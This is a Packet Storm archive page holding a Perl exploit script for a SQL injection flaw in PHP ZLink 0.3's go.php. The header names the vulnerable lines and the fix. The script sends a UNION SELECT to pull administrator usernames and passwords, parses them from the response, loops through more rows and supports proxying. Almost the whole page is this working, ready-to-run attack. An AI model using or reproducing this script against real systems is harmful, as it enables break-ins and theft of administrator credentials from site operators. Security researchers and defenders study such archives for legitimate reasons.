what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

phpzlink-sql.txt

phpzlink-sql.txt
Posted Dec 24, 2007
Authored by DNX

PHP ZLink version 0.3 remote SQL injection exploit that makes use of go.php.

tags | exploit, remote, php, sql injection
SHA-256 | 481544f701f9bfcd2b1cca35bd2a0940ba7f44e652b5421ecf2955416688c5fb

phpzlink-sql.txt

Change Mirror Download
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[3])
{
print "\n \\#'#/ ";
print "\n (-.-) ";
print "\n -----------------oOO---(_)---OOo----------------";
print "\n | PHP ZLink v0.3 (go.php) Remote SQL Injection |";
print "\n | coded by DNX |";
print "\n ------------------------------------------------";
print "\n[!] Discovered.: DNX";
print "\n[!] Vendor.....: http://www.zeak.net";
print "\n[!] Detected...: 28.10.2007";
print "\n[!] Reported...: 28.10.2007";
print "\n[!] Response...: 29.10.2007";
print "\n";
print "\n[!] Background.: PHP ZLink is a free short Url Redirection Script";
print "\n";
print "\n[!] Bug........: \$id in go.php";
print "\n";
print "\n line 25: \$id = \$_GET['id']";
print "\n";
print "\n line 28: SELECT url FROM \$table WHERE id = \$id";
print "\n";
print "\n[!] Solution...: Upgrade to PHP ZLink v1.0";
print "\n";
print "\n[!] Usage......: perl zlink.pl [Host] [Path] <Options>";
print "\n[!] Example....: perl zlink.pl 127.0.0.1 /zlink/ -id 1";
print "\n[!] Options....:";
print "\n -id [no] Valid ID";
print "\n -p [ip:port] Proxy support";
print "\n";
exit;
}

my $host = $ARGV[0];
my $path = $ARGV[1];
my $table = "admin";
my $id = 0;
my %options = ();
GetOptions(\%options, "id=i", "p=s");

print "[!] Exploiting...\n";

if($options{"id"})
{
exploit($options{"id"});
}
else
{
print "[!] Exploit failed, missing parameter\n";
exit;
}

print "\n[!] Exploit done\n";

sub exploit
{
my $id = shift;
my $url = "http://".$host.$path."go.php?id=".$id."%20union%20select%20concat(username,0x2f,password)%20from%20admin";
my $regexp = "<iframe(.*)src=\"(.*)\"><\/iframe>";

my $ua = LWP::UserAgent->new;

if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}

my $response = $ua->get($url);
my $content = $response->content;
@content = split(/\n/, $content);
$found = 0;

foreach (@content)
{
if($_ =~ /$regexp/ && $2 !~ /http/)
{
($user, $pass) = split(/\//, $2);
print "User/Password: ".$user."/".$pass."\n";
$found = 1;
}
}

if(!$found)
{
$count = 2;
$noendless = 20;
while($count < $noendless)
{
$response = $ua->get($url."%20limit%20".$count++);
if($tmp eq $response->base)
{
$count = $noendless;
}
else
{
$tmp = $response->base;
($x, $y) = split(/$host$path/, $tmp);
print "User/Password: ".$y."\n";
}
}
}
}

Login or Register to add favorites

File Archive:

December 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    2 Files
  • 2
    Dec 2nd
    12 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    14 Files
  • 6
    Dec 6th
    18 Files
  • 7
    Dec 7th
    11 Files
  • 8
    Dec 8th
    45 Files
  • 9
    Dec 9th
    9 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close